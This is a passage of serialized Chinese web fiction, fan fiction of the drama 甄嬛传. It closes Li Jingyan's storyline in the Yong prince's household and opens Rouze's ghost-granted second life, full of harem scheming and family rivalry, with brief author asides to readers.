隔着一张小几,两个人把脑袋靠在一起蛐蛐着所有看不顺眼的人。当然了,大部分都是李静言在说,太上皇后安静又认真的听着。 台子上换了【桃花扇】的戏折子,不过两个主子的心思显然已经飘到了旁的地方去。 被微风撩起的闪缎在廊桥下形成好看的青色波浪,价值千金的掐丝珐琅双鹤香炉燃着难得的花露香,周围守着的御林军和宫人安静的候着,等着两位主子的派遣。 第231 章 李静言34 自江南回来,年世兰和安陵容果然先后诊出了孕信,忽略胤禛那有些显眼的黑眼圈,李静言对府里的这波‘收成’还算是满意。 侧福晋徐佳氏在之前安稳生下一个五斤重的小阿哥,人丁勉强算得上是兴旺的雍亲王府总算叫李静言能扬眉吐气。 “这段时间辛苦你了,府里可有不安稳的?” 其实昨日才从畅春园回来的李静言日子过的自在极了。 “左不过是那些事,爷知道妾身辛苦就好。” 若不是知道自家福晋这段时间的安排,胤禛就要信了。 不过,单看怀中人滴里咕噜转圈的眼珠子就知道这话的水分有多大了。 “是是是,所以爷特意带了江南那边时兴的首饰和料子,福晋赏脸看看吗?” 胤禛有自己的审美,为了掰正自家福晋这么多年日日粉色荼毒他的眼睛的搭配,基本上只要不忙着,李静言的穿搭都是由他亲手安排。 至于妾室,粉色便粉色吧,福晋开心就好。 “这一箱......” 并排放着的小箱子有两个,其中一个瞧着不算太精致的,打开一瞧全是粉色系。 “给你赏人用的。” 虽然实在受不了满府粉色的人晃悠,但胤禛还是愿意宠着李静言这一点点小小的爱好。 “爷真好。” 李静言捧着胤禛的脸亲了一口,然后就把人推到了一边。 胤禛‘哼’了一声给自己气笑了:“用完了就丢,福晋可真是好样的。” 李静言回头‘嘻嘻’一笑,一双琉璃似的眸子似晨露凝碧潭,一如初见时。 被这双眼睛看着,胤禛根本发不出任何脾气。他只能自己消化掉小情绪,安静的在一旁坐着,等着那沉浸打扮里的妻子回头看他一眼。 到底如今当家的是侄子,不像自家老爹那么没有人情味儿,胤禛出了公差回来得了七八日的休假,这在以前可是从未有过的事情。 难得休息,他也不想出门,若是李静言不在府上,他便自己安静的在前院看书下棋,提前进入了养老生活。 苏培盛眼瞅着自家主子神色松快,才进来道:“爷,存菊堂那边和夕颜院那边都来人回话了。” 放下笔,胤禛拿起一旁的帕子擦了擦手:“说”。 “药已经用下了,只是甄氏还未有身孕,怕是不得用。” 苏培盛弓着腰,语气全是平常。 胤禛走到榻上靠着,伸手把一旁的【金刚经】拿上继续翻看,不在意的说道:“无妨,一点子药罢了。” 九福晋的担忧和十三弟妹的提醒胤禛都记在心里,不服管教的妾室随意处理了便是,没必要叫静言知道。 苏培盛应了是,又想起了夏刈的话,觑了觑王爷的脸色,在心里骂了夏刈八千句,才开口说道:“爷,这几日福晋出门小聚时,正院的芳若偶尔会打听甄侍妾的消息。” 胤禛拨弄手串的动作停了一下:“打发了。” 一个奴才,不过是看着其伺候过柔则才留下了在正院端个茶。 有胤禛的暗中出手,沈眉庄在生产时大出血,留下一个小格格便撒手人寰。 甄嬛在旁边哭的不能自已,她坚信沈眉庄的身子无碍,哭求王爷彻查。 “你的意思是,咱们府里有人害沈格格这样一个无宠的女人?” 甘侧福晋抱着手臂艰难的翻了个白眼,一个格格生产,根本用不到福晋出马。甘氏自觉得福晋照顾多年,便自告奋勇来这盯着。 没想到是个晦气活儿,人去了她不好说,但甄氏像有病似的。 胤禛和李静言根本没在外头守着,一个是觉得妾室不值当的动一动,一个是已经知道了沈氏的结局。 甄嬛无法,只能看着甘侧福晋指挥着存菊堂的人利索的处理好沈眉庄的身后事,不过两日的时间,雍亲王府就再没有了动静,好像沈眉庄从来没有出现过一样。 至于沈眉庄的小格格,李静言虽然说过若是妾室不幸离世,孩子会抱到正院抚养,但沈氏这个孩子她确实是敬谢不敏。 扒拉了一圈,发现唯一跟沈眉庄关系好的,也只有甄嬛,齐格格倒也算个搭头。毕竟肖似先福晋的事情曝光之前,齐月宾和这两人的关系还算亲近。 “瞧你愁的,怎么连饭都进不香了?” 难得见李静言这般食不下咽,胤禛还以为出了什么大事。 “沈氏这个格格,妾身想不好怎么处理呢。” 如今孩子在正院待着,一日安排不了照料的人,便是她这个福晋的责任。 胤禛还以为什么难事,原是这点小问题,他夹了一筷子鹿肉放到李静言的小碟子里:“给齐格格养着吧。” 李静言刚想反驳,就听胤禛淡淡的道:“甄氏不是因为那张脸和齐格格闹得不愉快,她又是跟沈氏交好的,想来这个决定她会喜欢。” 一本正经的脸是怎么说出这么不要脸皮的话呢?李静言论脸皮厚度这块,确实是比不过胤禛的。 她咬着筷子笑出了声,单是想想,就觉得开心。 府里的大事小情胤禛记得比李静言还清楚,倒不是不放心着人看着,实在是李静言的分享欲格外的旺盛。 “好了,哪里就能开心成这个样子,快吃。” 永远会被一点点细小的快乐打动,胤禛很羡慕。 如这对厚脸皮的夫妻俩预料的那般,对于小格格被抱给齐格格一事,甄嬛属实不能接受。 但她无论怎么努力,都不能叫胤禛心软,一再的打击叫她心灰意冷,竟是躲在夕颜院不肯见人了。 而齐格格其实并不算好过。李静言虽然同意把小格格放在她的院子里养着,但实际上每日能见到小格格的时间不过一刻钟。 有专门的乳母和下人照料着,都是李静言的人手,齐格格根本进不得小格格的身边。 这和给小格格单门找了个院子有什么区别呢?齐格格最多算是小格格的室友罢了。 府里的日子一如既往的顺心,胤禛因着过度使用自己男性的特权,身子越发消瘦。不过好消息是,他如今的子嗣不少,最起码比隔壁的老八强。 弘时也过的格外顺遂,他和福晋董鄂氏虽然没什么夫妻间的感情,但也称得上一句相敬如宾。 有两个嫡子一个嫡女,都健康的长大。 在承运十三年,胤禛离世后,李静言作为其福晋不愿在府里触景生情,带着一众妾室搬去了圆明园,弘时正式袭爵,成为了新的雍亲王。 李静言这一辈子,自嫁给胤禛后便没受过一点气,就算是常年在府里弄出大片粉色,也没被一句重话说过。 胤禛走后,弘时更加心疼额娘,若不是胤禛对他也很疼爱,怕是连面首都能送到自家额娘身边。 生活顺遂,身体就好。一直到八十八岁,李静言才含笑离开。 彼时的弘时也有七十岁的高龄,不过身子照样硬朗。 (结束的有些仓促,本来还有一些小细节,不过都被删掉了。因为太顺遂了,她的地位已经摆在这里,就算甄嬛不甘心也没什么好翻盘的,所以就不写了,宅斗她们也斗不起来。) (你们有想看的吗?我一篇存稿都没有了,说一说我瞧瞧摘一个来写,嘻嘻。) 第232 章 柔则1 (写在前面:柔则这个人物争议很大,本文也不是什么洗白文。单从作者的主观臆想编故事,柔则确实不是真善美小白花的形象,再次强调,不是正经历史文。 ps:瓜6也很多宝宝想看,但是跟李静言撞人设了有点,为了避免审美疲劳,所以隔一个。) 李静言看着画面中的弘时不自觉的伸出了手,那是她儿子年迈时的模样,和想象中的老态龙钟有些区别,那份被温养的健硕的体格,就是李静言一生所盼望的神态。 池烟自画面中出来,弘时的身影也越来越淡。 李静言不由的往前飘了一段距离,向前伸的手虚虚一握,还是没能留住弘时的音容相貌。 “你还好吗?” 池烟在曹琴默脸上看到的是释然,是与温宜同乐的慈爱。 而李静言的眼里是不舍,虽然鬼魂没有眼泪,但池烟觉得,李静言快碎了。 “好,好着呢,大人。” 李静言的眼睛还是痴痴的望着画面消失的方向,她努力扯了扯嘴角,下意识的摸了摸眼睛。 “都忘了,我是鬼了。” 说着话,她的魂魄越发透明,脸上的遗憾不舍满足复杂交织在一起。 不过慢慢的,李静言笑了起来,像刚生产后第一次看见那个小小婴儿时那样:“多谢大人。” 李静言消失在原地,留下一个金色的珠子。 池烟伸手,那珠子便飘到了她的手上。 “快去歇一歇。” 九殿突然出现在池烟身后,推着她往另一个方向飘去。 假期虽好,但池烟更向往灵魂时随意飘荡的状态。 她打了个申请,在鬼门关门口飘了一会儿,享受着被风吹来吹去的自在,闭上眼直接就是睡。 这一觉的时间有些长,直到胸前的上班闹钟响起,池烟才睁开眼睛。 她蹬了一下脚,顺着鬼门关侧边的小门刷卡进去。 “真是一代鬼有一代鬼的打卡方式啊!” 虽然活着挺好,但闹钟响的时候,确实有那么点睁不开眼的感觉,不管她之前睡了多久! “好了,都到齐了,你挑一个吧。” 又是熟悉的被挑选的牛马命运,池烟站的规矩,脸上带着如沐春风的笑容,打工鬼嘛,还是要给顾客留下好印象的。 “我要这位姐姐。” 宛转悠扬的声音,仪态万方的身姿,倾国倾城的容貌。指如削葱根,口如含朱丹,池烟虽然是个女鬼,都觉得自己的道心在不停的晃荡。 不过还好,她理智尚存。 其余的同事散开后,池烟才知道,面前这位,就是一直存在于剧中的白月光,乌拉那拉柔则。 “你好,你有什么要求吗?” 柔则笑了笑,眼底不自觉流露出的卓尔不群,叫她的气质更添了两分疏离。 “我是柔则,又不是柔则。我是无数个柔则的执念而成的虚幻影子。我永远死在妹妹宜修的手里,还要为她向胤禛求得最后一道保障。” 说到这里,柔则的眼神带了些讥诮。 “报复我?不过是个庶子,倒也难为她一边忍着我的残忍,一边又利用我死后的名声不断祈求君恩了。” 柔则这话说的残忍,池烟微微皱了皱眉。 柔则抬手扶了扶鬓边的碎发,即便是这样一个简单的动作,都叫她做起来风情万种。不是那种妩媚勾人,偏是那张不食人间烟火的仙女面,叫人不自觉的想要祈求她的怜爱。 “我知道你在想什么,无非是抢了妹妹的嫡福晋位置,杀了她的儿子。” 柔则说的坦然,仿佛这些不过是寻常。 “但最好笑的是,我是你们所说的剧中人所凝化出的灵魂,据我所知,在那个时候,妾室,本就不可以扶正。 而我,身为乌拉那拉氏嫡女,入府为嫡妻,有何不妥呢?” 这点池烟无话可说,她不再思考那个可怜的弘晖,而是站在柔则的立场仔细想,深宅大院出来的贵女,不想看到庶长子,好像,很正常。 柔则没有看池烟的表情,她就站在那里,绝美的面容没有一点感情:“至于大阿哥,妾室的儿子而已,在我眼里,本就不重要。” 池烟没有说对与不对,在那个时代,视人命如草芥的,不止乌拉那拉柔则一个人。但因为她是个女人,因为她害的是个孩子,所以为大众所不容。 “在我看来,我可比你们那什么女主角要好的多,最起码,我只是伤人命而已,又没有私通。这做人和畜牲的区别,不就是人,能忍得住欲望吗?” 池烟面色有些复杂的看着柔则:“你和剧中人说的不一样,和观众认知中的也不一样。” 柔则抬起手,看了看自己天然粉色的指甲:“你们的认知,不过也是站在旁观者的角度来评价别人所表现出来的人生罢了。” “所以,你到底想要我做什么呢?” 池烟不懂,柔则看不出来对被宜修害死的怨恨,也看不出来对胤禛的情谊,整个人似是没什么感情的漂亮木偶。 “我只想,永远高高在上的活着。” 柔则倏的靠近池烟,那张闭月羞花的脸距离池烟不过十厘米。 “我不恨宜修,因为我所认知的规则就是成王败寇,所以,我对她也没有愧疚。你不需要补偿她,你只要,高高在上的,漂漂亮亮的,永远尊贵的,活着。” 池烟红了脸,不自觉的往后退了一步:“那,惊鸿舞?” 柔则捂着嘴笑了起来:“我喜欢。我喜欢跳舞,喜欢纤弱的身材,息肌丸是我自己要用的,我首先是我,至于生儿育女,不能排在我的美貌之上。” 这话其实池烟是同意的,女人永远先是自己。 “至于孩子,若不是额娘逼迫,我才不会冒险。额娘还以为宜修是那个任人宰割的庶女,我可是知道她的獠牙的。 不过,额娘是这个世界上最疼爱我的人。只要是我要的,只要是额娘有的,额娘都会给我。所以额娘红着眼劝我有个孩子的时候,我即使直觉保不住,还是应了。” 池烟张了张嘴,她觉得站在每个人的立场好像都是正解,正因为如此,才不能武断的批判任何一个人的对错。 柔则抬手碰了碰池烟的手:“生孩子太痛了,怀孕还影响我的美貌,所以,如果可以,我不想生孩子。” 还不等池烟开口,柔则用一根手指碰到了池烟的嘴唇。 “甭管是我的孩子还是别人的孩子,我都没有办法做到一个全心全意疼爱孩子的母亲的身份。我就是这么自私自利的一个人,所以,我只要我活的痛快。” 池烟点了点头,生育是女性的权利,任何一个女性都有权利拒绝,这个没毛病。 第233 章 柔则2 “大格格,福晋叫您去正院呢。” 柔则睁开眼,眼前的水银镜里的面容叫她自己爱上了自己。 “走吧。” 看了一眼完美的妆容,柔则才抬手叫一旁的侍女兰舒扶着起身。 她的琼华院和正院距离有些远,不过是除却正院最大的院子。 凡是能找到的奇花异草奇石珍宝都能在她这院子里看见。单是那铺路的青石砖,都是和宫里相同的辉绿岩。甚至还雕刻了精美的花鸟图案,叫这路面不显单薄。 身为内大臣乌拉那拉费扬古和努尔哈赤玄孙觉罗氏的女儿,柔则平等的看不上任何一个庶子庶女。 不是看不起,而是压根不入眼。 她漫步在通往正院的曲径小路,这是额娘觉罗氏专门找人设计过的百花路。 四季盛开鲜花,单是为了避免蚊虫等烦恼,就花费了大量的人力物力和财力。 “格格您瞧,这妙峰山金顶玫瑰也开了,等盛放时,奴婢给您摘了,混着些香茅的精油,做些润手的汁子可好?” 路上萦绕在鼻尖甜腻的香气叫柔则的眼睛下意识的看了过去,大朵的玫瑰初绽放,单是从旁路过,便沾染上一身馥郁的浓香。 “额娘怎么这个时候叫女儿来?” 往常这个时辰,都是自家额娘处理府中事务的时候。虽然额娘也亲手教了她,但是她不爱学那些,只跟着额娘出去小聚认了人罢了。 “是宫里头来了信儿,说是有意把宜修给四阿哥做侧福晋。” 柔则轻‘嗤’了一声,面上看不出什么心情。 但熟悉女儿的觉罗氏知道,柔则并不觉得一个庶女进了四阿哥的门能得了好。 “也是你阿玛给你订下的婚事太急了些。” 觉罗氏一心想叫自己女儿嫁入皇家,才好不明珠蒙尘。 但府里的主子却是个认死理的,偏说皇家是非多,不如找个知根知底的,进府能当家做主来的痛快。 在觉罗氏并不算同意的情况下,和那位抚远小将军家的定下了这亲事。 “阿玛能知道什么,无非是家世不如咱们显赫,觉得能有个靠山罢了。其实哪家的琐碎少了?女儿又不是公主,出嫁孝敬公婆处理一大家子的姻亲便能随心所欲了不成?” 她倒是和抚远小将军通过几回信,内心对这些并不算太过在意。但若是庶妹嫁去了皇家,就算是侧福晋,也是上了玉牒,这叫她日后如何能抬起头来。 柔则从小就是吃好的喝好的用好的,这府里就没有她需要低头的时候。 “说的正是这个理,就算是那公主也没能有随心所欲的,女人家的难处,男人体会不了。” 觉罗氏看着女儿也发愁,家里娇惯的厉害,即便抚远小将军是个好的,但就凭他驻守边关这一点,女儿定也是要跟着的。 也不知道她家老爷的脑子是不是被马给踩了,他不会以为柔则这么一个十指不沾阳春水,风大些都要遮面纱的格格,能受得了那份辛苦吧?! 拍了拍女儿的手,觉罗氏打起精神:“先不说这些,左右抚远小将军还未出孝,你们这婚事还不着急。” 说着,觉罗氏叫身旁的乌雅嬷嬷去叫了宜修过来。 “你也仔细着听些吧,虽然是庶女,到底是入了皇家,这嫁妆备份,你也学着些。” 柔则支着脑袋,白皙的手腕从宽大的袖口中露出来,那鲜红透亮的镯子微微下滑,更添风流之态。 “那劳什子东西有什么可学的,不过是听听就能记得的琐事,等以后女儿出嫁了,额娘便把喜嬷嬷,扈嬷嬷都给女儿带上,还怕没有做事的人手吗?” 觉罗氏哼笑了一声,脸上带了三分恼意:“瞧你那懒丫头,连额娘身边的人都惦记上了。” 柔则伸出另一只手拉着觉罗氏的衣袖晃了晃:“不给女儿还要给谁?额娘若不说出来个一二,女儿便要闹了。” 觉罗氏任由柔则拉着她的袖口胡闹,虽然紧绷着嘴角,但眼底的笑意忍不住先一步溢了出来。 “瞧瞧,就说不能叫你乱看那些杂书,说话阴阳怪气的调调。” 柔则躲着觉罗氏点她额头的手指,笑着把自己靠在身后的云筝身上。 她屋子里的六个贴身的侍女都是觉罗氏细心挑选精心培养的,个顶个儿的有眼力见。 云筝扶着柔则的肩膀,好叫她上半身不需要使力。 玩闹着,外头传来一阵问安的声音。 紧接觉罗氏身边的乌雅嬷嬷掀帘子进来:“福晋,大格格,二格格到了。” 觉罗氏坐直了身子,看了一眼身姿不算正但到底坐起来了的女儿说道:“叫她进来吧。” 觉罗氏不喜欢宜修,她自问不是个好人,把持着府里的子嗣,没有叫费扬古得一个后。 这些她都认。 但是对宜修母女,觉罗氏也可以说是一碗水端平。她平等没让后院所有的妾室好过。 “给嫡额娘请安,给姐姐请安。” 宜修的容貌虽在柔则之下,但也是明眸皓齿青葱水嫩。 “起来吧。” 觉罗氏摆了摆手,直奔主题。 “宫里头德妃娘娘传信儿,属意你为四阿哥的侧福晋。” 宜修猛然抬头,眼神里带了些惊喜。 柔则点了点桌上的合香小匙,声音不大,但宜修却听的分明。 “瞧你那眼神,难不成是府里苛待了你?” 宜修心想,可不是苛待了吗? 柔则不惯着她这口是心非的模样:“嗤,还真以为你能和我比了? 不过是个庶女,额娘按照规制可没有短了你们母女二人的缺儿。怎么府里头其她姨娘没意见,单你们两个日日抱怨?” 觉罗氏善妒又恶毒,但在钱财方面还真没有太过分,卡着最低的额度给妾室们发份例,吃食上虽用不上山珍海味,但鱼肉每几日还是能得到的。 若说苛待,那最多就是立规矩了。 觉罗氏喜欢每日换着不同的姨娘伺候她梳妆。费扬古在正院睡觉时间除外。 不过,这些不是正常吗? “宜修未曾抱怨。” 柔则又从云筝手里接过一小瓶鲜花汁子闻了闻,语调懒散:“是呢,妹妹未曾抱怨,只是每每阿玛回府时便穿着洗旧了的衣裳在外头候着罢了。 不是姐姐说你,这么多年了,你还没有认清自己的身份吗? 身为庶女,正室便不用想了,妾室的职责你可了解清楚了? 刺绣练习了吗?梳妆有进步了吗?会唱曲儿画花儿取悦爷们开心了吗?什么都不会,叫你那姨娘教你不就是了?不会吧?不会你那姨娘只会搂着你说;宜修啊,咱们母女的命好苦啊~” 柔则说着说着,把自己说笑了。 她掩着嘴,露出一双灿若星河的眸子。 “是不是不甘心?忍一忍啊妹妹,你若是有个三长两短的,姐姐我可,不知道怎么办才好了。” 宜修张了张嘴,入脑的信息量有些大,她反应不太过来。 (柔则用了孝敬宪皇后的家世,孝敬宪皇后的粉丝轻喷,剧中柔则和本文柔则两个人哈,不会糟蹋了历史人物的。) 第234 章 柔则3 (跳脱出现代人的意识看清穿文才是正确做法。 在那个时候,你身为妻子弄死男人几个孩子,他可能觉得你恶毒觉得你不好,但孩子他可以有很多。只要你还有用,他不会想着要了你的命。 但你要是给他戴绿帽子,那只有一死。 我的文虽然戾气少,但并不太符合现在的道德法制观点。要是纠结这个,甄嬛传里大部分人都该枪毙,还写什么。) 觉罗氏看了自家女儿一眼没有说话,往常虽说柔则在她的言传身教下对府中的姨娘庶女没什么好脸色,但最起码的面子功夫还是会做一做的。 今儿也不知道谁惹着她了?攻击力有些重啊。不过还是可爱的,自家女儿闹闹脾气而已,都是小节。 她没觉得女儿这般有什么不好,总比那畏畏缩缩有事憋在心里折磨自己要强的多。 宜修脸色变了变,她强忍着难堪福了一礼:“姐姐教训的是,妹妹记得了。” 柔则垂着眼睫把玩着一盏漂亮精致的玉杯:“扈嬷嬷,二妹妹不懂律法,你说给她听听。” 扈嬷嬷福身应了是,转向宜修时表情恢复不苟言笑之态:“二格格,【大清律例】:妾通买卖,正妻对妾室有管理权,若妾室对正妻不敬,按‘妻妾相犯’律处罚,轻则杖责,重则充军。” 宜修咬了咬嘴唇,她知道这是嫡姐的警告。可她自认在府中安分守己,单就因着她要嫁入皇家吗? “姨娘从未有僭越之心,请嫡额娘明察。” 觉罗氏轻笑了一声,这么多妾室里,她最不喜欢的就是宜修的姨娘柳氏。 说什么家道中落费扬古另娶强纳为妾简直可笑。 把无媒苟合说的如此清新脱俗,也是叫她大开眼界了。 更何况,以柳家的家世,本就攀不上正黄旗乌拉那拉氏,不过是男人年轻时花言巧语的哄骗罢了,还真有傻子信了。 “你那姨娘跟你说些什么本福晋不在乎,不过本福晋这么多年也不算苛待你们母女。 虽不如柔则下了功夫,但你识字读书想学医理练字,难不成是你那破落户外家出的力不成?” 宜修苍白的脸色上浮了些鲜红,这话说的没错,虽然姨娘经常天不亮被叫来主院立着服侍福晋起身,但她学的用的,报上去得两句酸话都是能到手的。 “女儿万不敢如此想。” 可她仍旧是不满的,她的姐姐过的什么日子她自小看在眼里。 吃的是尖是芯,用的是金是玉。同样是阿玛的女儿,她也只是份例中的俗物。 明明阿玛更喜欢她的姨娘,若不是有福晋在,她此时也是乌拉那拉府里的嫡女,享的是金尊玉贵的生活才是。 “和她说那么多做什么?没心肝的东西罢了。” 柔则从榻上起身,踩着地上的波斯毯站到宜修身前。 宜修忍着心里头那点说不出口的别扭低着头,只轻轻的喊了一声:“姐姐。” 一阵馥郁的玫瑰香气席卷宜修的嗅觉,她恍然间还有些出神,原来那些玫瑰都开花了啊! 觉罗氏宠女儿在京中都是排的上号的,当初乌拉那拉府花大价钱从妙峰上挖来的金顶玫瑰可是在外头热闹了一阵子。宜修身为府中人,自然也是瞧见过这盛况的。 一根纤细的手指挑起了宜修的下巴,被放大在眼前的眸子似藏了书中描写的神秘的星河。 “妹妹,姐姐说的,对不对?” 柔则看着宜修的眼睛,她轻声的呢喃好似穿过了宜修的耳朵,直接到了脑海。 宜修的眼神有些发直,愣愣的应了一句:“对。” 柔则笑了起来,顾盼生姿间又带了些清冷,刚才刻意营造出来的气氛瞬间消失不见。 “好了,你回去备嫁吧,这几日便不用来正院了。” 看到了自己满意的结果,柔则冷下脸把人撵了出去。 做鬼的时候还是懒惰了,这催眠学的不够到位。 不过,糊弄糊弄现在这防御力较低的宜修,也算是足够了。 柔则面无表情的躺回到美人榻上,盘算着这次任务结束后继续找个地方进修一下才好。 “你做什么跟她虚与委蛇的, 没得辱没了你。” 觉罗氏拉着柔则看了看,仿佛刚才那短短的一会儿就能叫宜修传染了她的宝贝儿穷酸气似的。 “额娘不是心疼女儿嫁到抚远将军府受苦,这不是,有现成的了。” 觉罗氏眉头轻皱,倒不是觉得这事有多么困难,只是听闻四阿哥是个冷淡的,她这女儿若说容貌才情她能夸个三天三夜,但若说脾性。 今日之前她也能夸上半天,今日之后......觉罗氏觉得她得承认,人是不完美的。 这样两个人做了夫妻,一个阴阳怪气,一个沉默寡言,真的是过日子吗? “怎么了?额娘难不成是觉得女儿不配了?” 柔则用帕子擦了擦眼角,眼睛里瞬间就含了一汪清泉。 惹得觉罗氏心疼的把人搂在怀里‘心肝儿肉’的喊着。 “额娘哪里是这个意思,额娘不是想着,怎么跟你那认死理的阿玛说嘛。” 柔则用帕子把脸盖了起来,‘哼’一声把身子扭了过去。 “若是阿玛不依我,我就不吃饭了。” 觉罗氏又许了一串的好处,才把这个女儿打发了出去。 瞧着柔则的身影消失在眼前儿,她才叹了口气,被乌雅嬷嬷扶着坐了下来。 “造孽,从前觉着柔则性子立不起来容易挨了欺负,今儿也不知是冲撞了什么,倒是不好欺负了,就是难缠了些。” 乌雅嬷嬷一边给觉罗氏按着腰一边笑哄着她:“福晋这才是多虑了呢,咱们格格如此佳人,便是嫁出去了,也是享福享乐的命呢。” 虽是乌雅氏的本家人,但一家老小在觉罗氏身边几十年了,孰轻孰重还是掂量的准的。 觉罗氏的眉眼放松,唇边也带了笑意:“净会说好听的哄我。” 回到琼华院,柔则换了身衣裳靠在榻上,由着欢卿捏着腿。 “格格,抚远小将军的来信到了。” 柔则伸手接过看了两眼,嘴角微微勾了勾。 “把我的紫玉光准备着,顺道把前儿个那新得的梅花玉版笺拿出来。” 一旁的念裳清脆的应了一声,格格这些物件都是她亲自保管的,想来,格格是要给小将军写回信了。 那梅花玉版笺是在笺纸表面用粉蜡压制出梅花图案,再以泥金勾勒花蕊,雅致富丽不说,买回来后,还被侍女念裳跟冬日里收集的梅花干花瓣放在一起,清香淡雅,很是得柔则的喜爱。 “将军,见信如晤。一别数月,闻君染恙,心甚忧之。边关不比京城,一应药物可还齐全? 春日气暖,虫乱多生,望将军周全自身,勿念京中寻常。 今晨家中得信,幸于二妹入宫为四阿哥侧福晋,家中幸识,写与将军共享。 乌拉那拉氏敛衽拜上。” 封了蜡,柔则看了一眼云筝:“交给阿玛的人手处理,莫要沾了我的名声。” 去年之前,确实是觉罗氏拖着婚期未曾与抚远小将军一家细细商量婚事。用的理由也并不出格,柔则当时的年龄,多留两年也是正常。 不过去年冬日,抚远小将军的祖父过世,因着守孝,两人的婚事只能接着往下推。 只要得了抚远小将军的愧疚主动退婚就是了,哪里知道这剧里还没开始,人都变的颠兮兮的。当爹妈的愣是不退,还有一个见色起意的,硬是要娶,也是不是一家人不进一家门了。 第235 章 柔则4 如柔则所料,只单说了一句二妹的婚事,抚远小将军就升起了一些愧意。 他是男子,晚些都是寻常。 但乌拉那拉格格是女儿家,这般拖着确实于名声有碍。 况且两人也只是一面之缘,也在盲婚哑嫁的范围内,谈不上什么情爱。曾经的几次信件来往,也不过是当个任务走个过场罢了。 最主要的,抚远小将军并没有回京的意愿,京城派系如今看起来并不算特别复杂,但深渊下交错的暗流可不是说笑的。 他们一家失了祖父这个狐狸脑袋,剩下的人不能说不聪明,只能说不够圆滑,进京的下场没办法把握。 而乌拉那拉格格在府中的娇宠程度,便是他家里也有姊妹也觉得夸张。这样一个用金子堆出来的玉人,边关怕是养不起。 再一个,乌拉那拉格格信上,字里行间里对二妹的羡慕和廖廖几语真切的关心都叫抚远小将军心含愧疚。 拿着信找到自家额娘,母子俩一商量,左右这亲事也是曾经祖父订下的,两家并没有交换庚贴只是口头约定。 既如此,不如正好以守孝为由退了便是。免得耽误了乌拉那拉格格。 不过这事也不能随意写信便潦草结束,女子的名声有多重要身为女人更能了解。 “额娘,便麻烦您跑上一趟了。” 抚远小将军的额娘姓姚,是浙江总督姚启圣的妹妹,汉军镶红旗旗人。 虽是浙江人,但飒爽英姿不输其兄长,嫁与张氏家族一等靖逆侯之子张天恩后,便随着夫家驻守甘肃。 张氏一族在甘肃一带镇守近半个世纪,是功勋能当饭吃的一家人。 不过因着张氏‘河西四将’张勇是原明朝将领降清,所以一家也十分有眼力见的在甘肃一带,从不回京掺和。 可偏费扬古一时脑子不清醒,在张氏入京述职时给自家嫡女定了这门注定远嫁的亲事。 “多大的事,何须和额娘客气。” 姚氏虽然长居甘肃边关区,但自家这个被玩笑似的订下的儿媳还是有所了解的。 一等承恩公乌拉那拉傅瑚察之子,步军统领乌拉那拉费扬古的阿玛,镇国将军穆尔祜第四女觉罗氏的额娘。 最大的运动可能就是偶尔被带去马场,在马背上坐一坐了。 这样一个娇滴滴的格格,姚氏也不是有意见,只是觉得跟家里不太合适。 觉罗氏不知道女儿干了什么,只知道一月半后接到张家的拜帖。 她还正想着守孝的小张想干什么呢,就被自家女儿那依旧天塌下来娘顶着的表情气笑了。 “你呀你,自己的事也不上点心。” 虽说对这门亲事不甚满意,但觉罗氏也是教条下一板一眼教导出来的贵女,招待客人,从未失过礼数。 姚氏带着礼物进乌拉那拉府,以孝礼做由,按照流程,把抚远小将军张泽端和乌拉那拉格格柔则的婚约取消。 因着姚氏的礼数到位,对外的宣称也是抚远小将军‘尊制’‘受礼’,所以柔则的名声不仅没有受到影响,甚至还因为知礼,得到了舆论的赞扬。 处理完这桩心事,觉罗氏也不问柔则是怎么办到的,而是递了牌子入宫,和德妃嘀嘀咕咕的不知道商量了什么。 柔则冷眼瞧着,她这额娘是真的又爱炫耀又蠢笨,刚退婚就这般进宫,生怕别人不知道她有什么小心思不成? “额娘这是做什么?” 看着回府后就兴奋的拉着她比划衣料的额娘,柔则撇了撇嘴,实在没眼看。 “你不是相中了四阿哥的后院,额娘今儿进宫和德妃娘娘通了气,只要你在四阿哥眼前露一面,额娘就不相信有人能拒绝我儿的姿容。” 柔则甩开觉罗氏的手坐了下去:“上赶着的买卖能得什么好?还用得着女儿专门入宫叫四阿哥见一面吗?颁金节中秋宴,哪个日子女儿入不得宫,何苦在刚退婚的关头巴巴攀扯上去。” 觉罗氏在府里作威作福惯了,从来都是横冲直撞的,弯弯绕绕是一点不考虑,被德妃一顿忽悠,自然是觉得越快越好。 “德妃......” 她脑子不多,有些说不清这其中的别扭之处。 柔则像没骨头似的瘫着,宽大的旗装遮不住纤柔的身段,她掩着嘴打了个哈欠,今儿把最爱的舞蹈捡了起来,动上这么一会儿,如今就开始犯困了。 “德妃怎么会考虑女儿的名声?不过是个跟旁支连了亲的包衣,能有什么正当的手段?况且谁不知道四阿哥不得德妃的喜爱,若是换成十四阿哥,您瞧瞧德妃还会不会这么急迫?” 柔则觉得这自作聪明,还又毒又没有眼色的笨人要比单纯的笨蛋难弄多了。 最起码单纯的笨蛋她听话啊! “额娘是不跟女儿亲近了吗?何苦听她一个外人的话?不若女儿绞了这头发去做姑子好了,免得说什么,额娘也不往心里去。” 女儿这话可是戳了觉罗氏的心尖尖。 “哎哟,额娘的乖宝,哪里就说这样丧气的话了?额娘才不听她的,额娘只听咱们乖宝的。” 柔则在觉罗氏怀里挑了挑眉:“这话,额娘可是单说给我一个人儿听的?” 觉罗氏只差指天发誓了:“额娘绝没有说给二个人。” “便只这一次,若是额娘再不听女儿的,女儿可不依了!” “好好好,额娘记得了。” 觉罗氏回府后失了下文,直到宜修入府,德妃也没有再接到觉罗氏入宫的对牌。 坐在喜床上,宜修的心情格外复杂。 想起出门前嫡姐柔则那温温柔柔但又高高在上的小脸,她就没办法全身心享受初为新妇的喜悦。 “可是累了?先安置吧。” 虽然是侧福晋,但到底也是枕边人,胤禛还是抱着期待的。 但宜修走神的表情叫他有些不痛快,温情也随之散去,只留公事公办的语气。 宜修回神,屋里的蜡烛已经被吹熄了大半。身上的男人不说话只是埋头苦干。 她也不好意思在这个时候出声,又痛又羞的强忍着这头一遭的房事。 两个人谁也不说话,一个脑子里循环着嫡姐那不怀好意的笑脸,一个以为宜修是个木头性子心里头没了期待的男人。 同床异梦,说的就是他们两个了。 至于柔则,不过是偶尔随着宜修的心愿,叫她去正院阴阳两句罢了,不是说闺中在府里过的不好吗?她总不能叫人撒了谎,那多不好啊! (有一个很关键的问题,不挑老四没什么人可挑了。 太子是不可能的,他被困在宫里头,老康看的可紧了。 至于康熙,emmm,也不用矮子堆里拔高个了,看故事不看人嘛。) 第236 章 柔则5 